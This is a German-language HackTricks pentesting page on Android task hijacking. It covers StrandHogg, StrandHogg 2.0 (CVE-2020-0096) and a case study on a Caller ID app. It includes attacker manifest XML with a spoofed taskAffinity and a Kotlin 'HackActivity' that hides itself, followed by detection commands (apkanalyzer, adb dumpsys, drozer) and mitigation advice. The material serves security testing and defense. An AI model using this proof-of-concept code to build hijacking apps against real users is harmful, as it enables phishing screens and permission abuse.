Android Task Hijacking

Reading time: 8 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Task, Back Stack und Vordergrundaktivitäten

In Android ist eine Task im Wesentlichen eine Gruppe von Aktivitäten, mit denen Benutzer interagieren, um eine bestimmte Aufgabe zu erledigen, organisiert innerhalb eines Back Stacks. Dieser Stack ordnet Aktivitäten basierend darauf, wann sie geöffnet wurden, wobei die aktuellste Aktivität oben als Vordergrundaktivität angezeigt wird. Zu jedem Zeitpunkt ist nur diese Aktivität auf dem Bildschirm sichtbar, was sie Teil der Vordergrund-Task macht.

Hier ist eine kurze Übersicht über Aktivitätsübergänge:

  • Aktivität 1 beginnt als die einzige Aktivität im Vordergrund.
  • Das Starten von Aktivität 2 schiebt Aktivität 1 in den Back Stack und bringt Aktivität 2 in den Vordergrund.
  • Das Starten von Aktivität 3 verschiebt Aktivität 1 und Aktivität 2 weiter nach hinten im Stack, wobei Aktivität 3 jetzt vorne ist.
  • Das Schließen von Aktivität 3 bringt Aktivität 2 zurück in den Vordergrund und zeigt das optimierte Task-Navigationsmechanismus von Android.

https://developer.android.com/images/fundamentals/diagram_backstack.png


Task-Affinitätsangriffe

taskAffinity sagt Android, zu welcher Task eine Activity bevorzugt gehören würde. Wenn zwei Aktivitäten die gleiche Affinität teilen, darf Android sie im selben Back Stack zusammenführen, auch wenn sie aus verschiedenen APKs stammen.

Wenn ein Angreifer eine bösartige Aktivität an die Wurzel dieses Stacks platzieren kann, wird jedes Mal, wenn das Opfer die legitime Anwendung öffnet, die bösartige Benutzeroberfläche das Erste sein, was der Benutzer sieht – perfekt für Phishing oder missbräuchliche Berechtigungsanfragen.

Die Angriffsfläche ist breiter, als viele Entwickler denken, da jede Aktivität automatisch eine Affinität erbt, die dem Anwendungs-Paketnamen entspricht (es sei denn, der Entwickler setzt android:taskAffinity=""). Daher nichts zu tun lässt die App bereits für Task-Hijacking auf Android-Versionen vor 11 offen.

Klassisches "singleTask / StrandHogg"-Szenario

  1. Der Angreifer erklärt eine Aktivität mit:
xml
<activity android:name=".EvilActivity"
android:exported="true"
android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
  1. Die bösartige App wird einmal gestartet, sodass die Task (mit der gefälschten Affinität) in den letzten Tasks existiert.
  2. Wenn der Benutzer später die echte Anwendung öffnet, stellt Android fest, dass es bereits eine Task gibt, deren Wurzel-Affinität mit dem Paket übereinstimmt, und bringt diese Task einfach in den Vordergrund.
  3. Die Benutzeroberfläche des Angreifers wird zuerst angezeigt.

Standard-Affinität (kein singleTask) Variante – Caller ID Fallstudie

Die in der Caller ID (caller.id.phone.number.block) Anwendung gemeldete Schwachstelle zeigt, dass der Angriff auch gegen den Standard-standard-Startmodus funktioniert:

  1. Die Angreiferanwendung erstellt eine gefälschte Wurzelaktivität und versteckt sich sofort:
kotlin
class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true)   // halte die Task in den letzten, aber außer Sicht
}
}
  1. Das Manifest muss nur das Paket des Opfers in taskAffinity kopieren:
xml
<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
  1. Sobald der Benutzer die bösartige App einmal installiert und geöffnet hat, existiert eine Task, deren Affinität dem Paket des Opfers entspricht (aber im Hintergrund sitzt).
  2. Wenn die echte Caller ID-Anwendung gestartet wird, verwendet Android diese Task erneut und bringt HackActivity in den Vordergrund → Phishing-Fenster/Berechtigungsmissbrauch.

HINWEIS: Ab Android 11 (API 30) platziert das System nicht standardmäßig zwei Pakete, die nicht Teil derselben UID sind, in dieselbe Task, wodurch diese spezielle Variante gemildert wird. Ältere Versionen bleiben anfällig.


StrandHogg 2.0 (CVE-2020-0096) – Reflexionsbasierter Task-Hijack

Das Sicherheitsbulletin von Google vom Mai 2020 behob eine fortgeschrittenere Variante, die StrandHogg 2.0 genannt wird. Der Exploit beruht überhaupt nicht auf taskAffinity; stattdessen verwendet er Reflexion, um die Aktivität des Angreifers dynamisch an die Spitze jeder laufenden Task einzufügen und umgeht vollständig die „Shared-UID“-Einschränkung, die mit Android 11 eingeführt wurde.

Wichtige Punkte:

  • Eine bösartige App ohne Berechtigungen kann, sobald sie geöffnet ist, über laufende Tasks iterieren und versteckte APIs aufrufen, um ihre eigene Aktivität in jede Task neu zuzuordnen.
  • Da die Aktivität nach der Laufzeit eingefügt wird, können weder launchMode noch statische Manifestanalyse den Angriff im Voraus erkennen.
  • Behebt durch das Zurückportieren einer Überprüfung in Android 8.0/8.1/9 (Mai 2020 SPL). Android 10 und höher sind nicht betroffen.

Die Erkennung auf vorgepatchten Geräten kann mit adb shell dumpsys activity activities durchgeführt werden, indem nach verdächtigen Aktivitäten gesucht wird, deren Paketname von der Affinität der Task abweicht.

Die Minderung für Legacy-Geräte ist die gleiche wie beim klassischen Task-Hijacking plus Laufzeitüberprüfung (z. B. Aufruf von ActivityManager#getRunningTasks und Validierung des eigenen Paketnamens).


Erkennungs- & Ausnutzungscheckliste

  1. Statische Überprüfung – Ziehen Sie AndroidManifest.xml aus der Ziel-APK und überprüfen Sie, ob jede <activity> (oder das globale <application>-Element) android:taskAffinity="" (leer) oder einen benutzerdefinierten Wert enthält. Tools wie:
bash
# Verwendung von apkanalyzer (Android SDK)
apkanalyzer manifest print app.apk | grep -i taskaffinity

# Verwendung von AXMLPrinter2
java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
  1. Dynamische Überprüfung – Öffnen Sie auf dem Gerät die Ziel-App und listen Sie die Tasks auf:
bash
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"

Eine Task, deren Wurzel-Affinität dem Paket des Opfers entspricht, deren oberste Aktivität jedoch zu einem anderen Paket gehört, ist ein Warnsignal. 3. Erstellen Sie eine bösartige App wie oben beschrieben oder verwenden Sie Drozer:

bash
drozer console connect
run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
run app.activity.info com.victim

Minderung

Entwickler sollten:

  • android:taskAffinity="" auf der <application>-Ebene explizit festlegen (empfohlen) oder jeder Aktivität eine einzigartige, private Affinität geben.
  • Für hochsensible Bildschirme die obigen Punkte mit android:launchMode="singleInstance" oder modernen setLaunchMode-Schutzmaßnahmen kombinieren.
  • Die targetSdkVersion der App aktualisieren und die Android 11-Verhaltensänderungen durchsetzen, bei denen Tasks standardmäßig nicht über Pakete hinweg geteilt werden.
  • Android 12 (API 31) oder höher anvisieren, damit das obligatorische android:exported-Attribut die Entwickler zwingt, jede extern erreichbare Komponente zu überprüfen.
  • Laufzeit-Selbstverteidigung in Betracht ziehen: regelmäßig ActivityTaskManager abfragen, um sicherzustellen, dass das Paket Ihrer obersten Aktivität mit Ihrem eigenen übereinstimmt.

Verwandte UI-Hijacking-Techniken

Task-Hijacking wird oft mit oder durch Tapjacking (überlagerungsbasierte UI-Täuschung) kombiniert oder ersetzt. Die Forschung von 2025 TapTrap zeigte, dass vollständig transparente animationsgesteuerte Aktivitäten die Überlagerungsberührungsbeschränkungen umgehen können, die in Android 12–14 eingeführt wurden, und Benutzer dennoch dazu verleiten können, gefährliche Berechtigungen zu gewähren. Während TapTrap nicht strikt Task-Hijacking ist, ist das Endziel (Phishing-Klicks) identisch – moderne Bewertungen sollten daher beide Angriffsflächen überprüfen.


Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks